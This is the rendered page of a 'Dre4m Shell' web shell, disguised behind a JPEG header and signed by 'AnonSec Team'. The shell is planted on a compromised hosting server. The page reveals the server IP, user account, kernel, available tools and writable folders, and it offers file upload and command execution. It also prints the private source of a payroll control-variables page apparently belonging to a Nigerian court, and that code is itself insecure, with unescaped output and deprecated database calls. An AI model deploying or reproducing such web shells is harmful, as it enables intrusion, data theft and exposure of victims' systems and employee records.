ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.147.60.215
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/consolidated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/consolidated/con_others.php
<?php
require_once('business logic/classes/users.php');
require_once('business logic/classes/operations.php');
//
$user = new User();
$oper =new Operations();
//
$uid = $_SESSION['uid'];
$access = $_SESSION['acc'];
//
if($access > 2)
   header("location:delay.php");
   
if (!$user->get_session())
{
   header("location:myown_mainpage.php?you are not login");
}
//
if (isset($_GET['q']) and $_GET['q'] == 'logout') 
{
    $user->user_logout();
    header("location:myown_mainpage.php? you are log out");
}
//
//error_reporting(0);
$fileNo=mysql_real_escape_string($_POST['fileno']);
$date=mysql_real_escape_string($_POST['date']);
$ugv=mysql_real_escape_string($_POST['ugv']);
$nicnCoop=mysql_real_escape_string($_POST['nicnCoop']);
$motorAdv=mysql_real_escape_string($_POST['motorAdv']);
$bicycleAdv=mysql_real_escape_string($_POST['bicycleAdv']);
$ctlslabour=mysql_real_escape_string($_POST['ctlslab']);
$ctlsfed=mysql_real_escape_string($_POST['ctlsfed']);
$hazard=mysql_real_escape_string($_POST['hazard']);
$callDuty=mysql_real_escape_string($_POST['callDuty']);
$shiftAll=mysql_real_escape_string($_POST['ShiftAllw']);
$rent_water=mysql_real_escape_string($_POST['rent_water']);
$pa_deduct=mysql_real_escape_string($_POST['pa_deduct']);
$j_contribution=mysql_real_escape_string($_POST['j_contribution']);
$surcharge=mysql_real_escape_string($_POST['surcharge']);


if (($_SERVER["REQUEST_METHOD"] == "POST") and ($_POST['Update'] == 'Update'))
{
	$update = $oper->updateCV($fileNo, $ugv, $nicnCoop, $motorAdv, $bicycleAdv, $ctlslabour, $ctlsfed, $hazard, $callDuty, $shiftAll,
	$rent_water, $pa_deduct, $j_contribution,$surcharge, $date);
	if ($update)
		$msg= '<div class="style28" align="center">Update Successful</div>';
	else
		$msg= '<div class="style26" align="center">Error: Update not Successful</div>';
}

?>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/favicon.ico">
<title>National Industrial Court of Nigeria...::...Control Variables</title>
<link href="css/payroll.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
.style25 {	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #FF0000;
}
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: underline;
}
a:active {
	text-decoration: none;
}
-->
</style>
<script language="javascript" type="text/javascript"> 
function submitregistration() {
 var form = document.login;
				
     
 
if(form.fileNo.value == "")
{
alert( "Enter File Number" );
return false;
}
else if(form.date.value == "")
{
alert( "Enter Date" );
return false;
}
else if( form.password.value == "")
{
alert( "Enter password " );
return false;
}
 else if (form.confirmpass.value == "")
{
alert( "please Confirm password" );
return false;
}

 
}
</script> 
<script type="text/javascript">
<!--
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
//-->
</script>
</head>

<body onLoad="document.login.fileNo.focus(); check()">

<table width="744" border="0" cellpadding="0" cellspacing="0" class="container" align="center" >
  <!--DWLayoutTable-->
  <tr>
    <td height="42" colspan="2" valign="top"><?php require_once('header.php');?></td>
  </tr>
  <tr>
    <td height="19" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bottomborder">
      <!--DWLayoutTable-->
      <tr>
        <td width="34%">&nbsp;<a href="userArea.php">Home</a>&nbsp;</td>
        <td width="66%">
          <?php 
			 //$user->getLink($access);
			  $user->get_fullname($uid);
		
		?>
         <a href="?q=logout"> Logout</a>&nbsp;</td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td width="302" height="243" valign="top"><?php require('links.php');?>
      <br />
    <br /></td>
    <td width="636" valign="top"><table width="557" border="0" align="left" cellpadding="0" cellspacing="0">
      <tr>
        <td width="557" colspan="3"><br />
        <fieldset>
          <legend>Control Variables<br />
            </legend>
          <form id="login" name="login" method="post" action="">
            <table width="101%"  border="0" align="center" cellpadding="0" cellspacing="3">
              <tr class="listtop">
                <td colspan="3"><span class="style25">
                  <?php if(isset($msg))
			echo $msg;
			//print(Date("l F d, Y"));server date
			//$s = mktime(date("G") + 1);
			//print date("Y/m/d h:i:s a", $s).'<br/>';
			//print(date("l F d, Y")).'<br/>';
			//echo "Server time: ".date("M d, Y - g:i:s A"); 
			//}
			?>
                </span></td>
              </tr>
              <tr>
                <td width="27%"><div align="right">Select Staff Name</div></td>
                <td width="73%"><select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu('parent',this,0)">
          <option selected="selected">Select Name</option>
          <?php
		  		$divison = $_SESSION['division'];
						//mysql_select_db($database_conn, $conn);
						$result = mysql_query("select * from tblper where employee_type = 'CONSOLIDATED' order by surname, othernames");
						while($rows = mysql_fetch_assoc($result))
						{
							if(isset($_GET['p']) && ($rows['fileNo']==$_GET['p']))
							{	
								$update_value = strtoupper($rows['fileNo']);
								$grade = $rows['grade'];
								$step = $rows['step'];
								$emp_type =  strtoupper($rows['employee_type']);
								$title = strtoupper($rows['title']);
								$sname = strtoupper($rows['surname']);
								$oname  = strtoupper($rows['othernames']);
								
							}							
							echo "<option value='con_others.php?p=".$rows['fileNo']."'>".$rows['surname'].' '.$rows['othernames']."</option>";
							$rs = mysql_query("select * from tblcv where fileno = '$update_value'");
							$row_cv = mysql_fetch_assoc($rs);
						}
					?>
                                                     </select></td>
              </tr>
              <tr>
              <script type="text/javascript">
			  function check()
			  {
				  var val = "<?php echo $emp_type; ?>";
			  }
			  </script>
                <td colspan="2"><div align="right"></div>                  <?php echo $title." ".$sname." ".$oname; ?><span style="padding-left:20px">
                    <strong>Step</strong>:<?php echo $step;?></span></td>
                </tr>
              <tr>
                <td><div align="right">FileNo</div></td>
                <td><input name="fileNo" type="text" disabled="disabled" id="fileNo" value="<?php echo $update_value;?>" readonly="readonly" />
                  <input type="hidden" name="fileno"  value="<?php echo $update_value; ?>"/> 
                  <strong>Employee Type</strong>:<?php echo $emp_type;?></td>
              </tr>
              <tr>
                <td><div align="right">Govt Vehicle</div></td>
                <td><input name="ugv" type="text" id="ugv" value="<?php echo $row_cv['ugv']; ?>" /></td>
              </tr>
              <tr>
                <td><div align="right">NICN Coop</div></td>
                <td><input name="nicnCoop" type="text" id="nicnCoop" value="<?php echo $row_cv['nicnCoop']; ?>" /></td>
              </tr>
              <tr>
                <td><div align="right">Motor Vehicle Adv</div></td>
                <td><input name="motorAdv" type="text" id="motorAdv" value="<?php echo $row_cv['motorAdv']; ?>" /></td>
              </tr>
              <tr>
                <td><div align="right">Bicycle/Cycle Adv</div></td>
                <td><input name="bicycleAdv" type="text" id="bicycleAdv" value="<?php echo $row_cv['bicycleAdv']; ?>" /></td>
              </tr>
              <tr>
                <td><div align="right">CTLS Labour</div></td>
                <td><input name="ctlslab" type="text" id="ctlslab" value="<?php echo $row_cv['ctlsLab']; ?>" /></td>
              </tr>
              <tr>
                <td><div align="right">CTLS Fed. Sec</div></td>
                <td><input name="ctlsfed" type="text" id="ctlsfed" value="<?php echo $row_cv['ctlsFed']; ?>" /></td>
              </tr>
              <tr>
                <td><div align="right">Hazard</div></td>
                <td><input name="hazard" type="text" id="hazard" value="<?php echo $row_cv['hazard']; ?>"  required="true"/>
				</td>
              </tr>
              <tr>
                <td><div align="right">Call Duty</div></td>
                <td><input name="callDuty" type="text" id="callDuty" value="<?php echo $row_cv['callDuty']; ?>"  required="true"/></td>
              </tr>
              <tr>
                <td><div align="right">Shift Allowances</div></td>
                <td><input name="ShiftAllw" type="text" id="ShiftAllw" value="<?php echo $row_cv['shiftAll']; ?>"  required="true"/></td>
              </tr>
              <tr>
                <td><div align="right">Rent and Water</div></td>
                <td><input name="rent_water" type="text" id="rent_water" value="<?php echo $row_cv['rent_water']; ?>"  required="true"/></td>
              </tr>
              <tr>
                <td><div align="right">Personal Assistant</div></td>
                <td><input name="pa_deduct" type="text" id="pa_deduct" value="<?php echo $row_cv['pa_deduct']; ?>"  required="true"/></td>
              </tr>
              <tr>
                <td><div align="right">Judges Contribution</div></td>
                <td><input name="j_contribution" type="text" id="j_contribution" value="<?php echo $row_cv['j_contribution']; ?>"  required="true"/></td>
              </tr>

               <tr>
                <td><div align="right">Surcharge</div></td>
                <td><input name="surcharge" type="text" id="surcharge" value="<?php echo $row_cv['surcharge']; ?>"  required="true"/></td>
              </tr>

              <tr>
                <td><input name="date" type="hidden" id="date" value="<?php echo date('Y-m-d');?>" /></td>
                <td><input type="hidden" name="flag" value="login"/>
                  <input type="submit" name="Update" value="Update"  onclick="return( submitregistration());" id="Update"/></td>
              </tr>
            </table>
          </form>
        </fieldset></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="20" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <!--DWLayoutTable-->
      <tr>
        <td align="right">
		</td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>
<?php $user->close();?>

Anon7 - 2022
AnonSec Team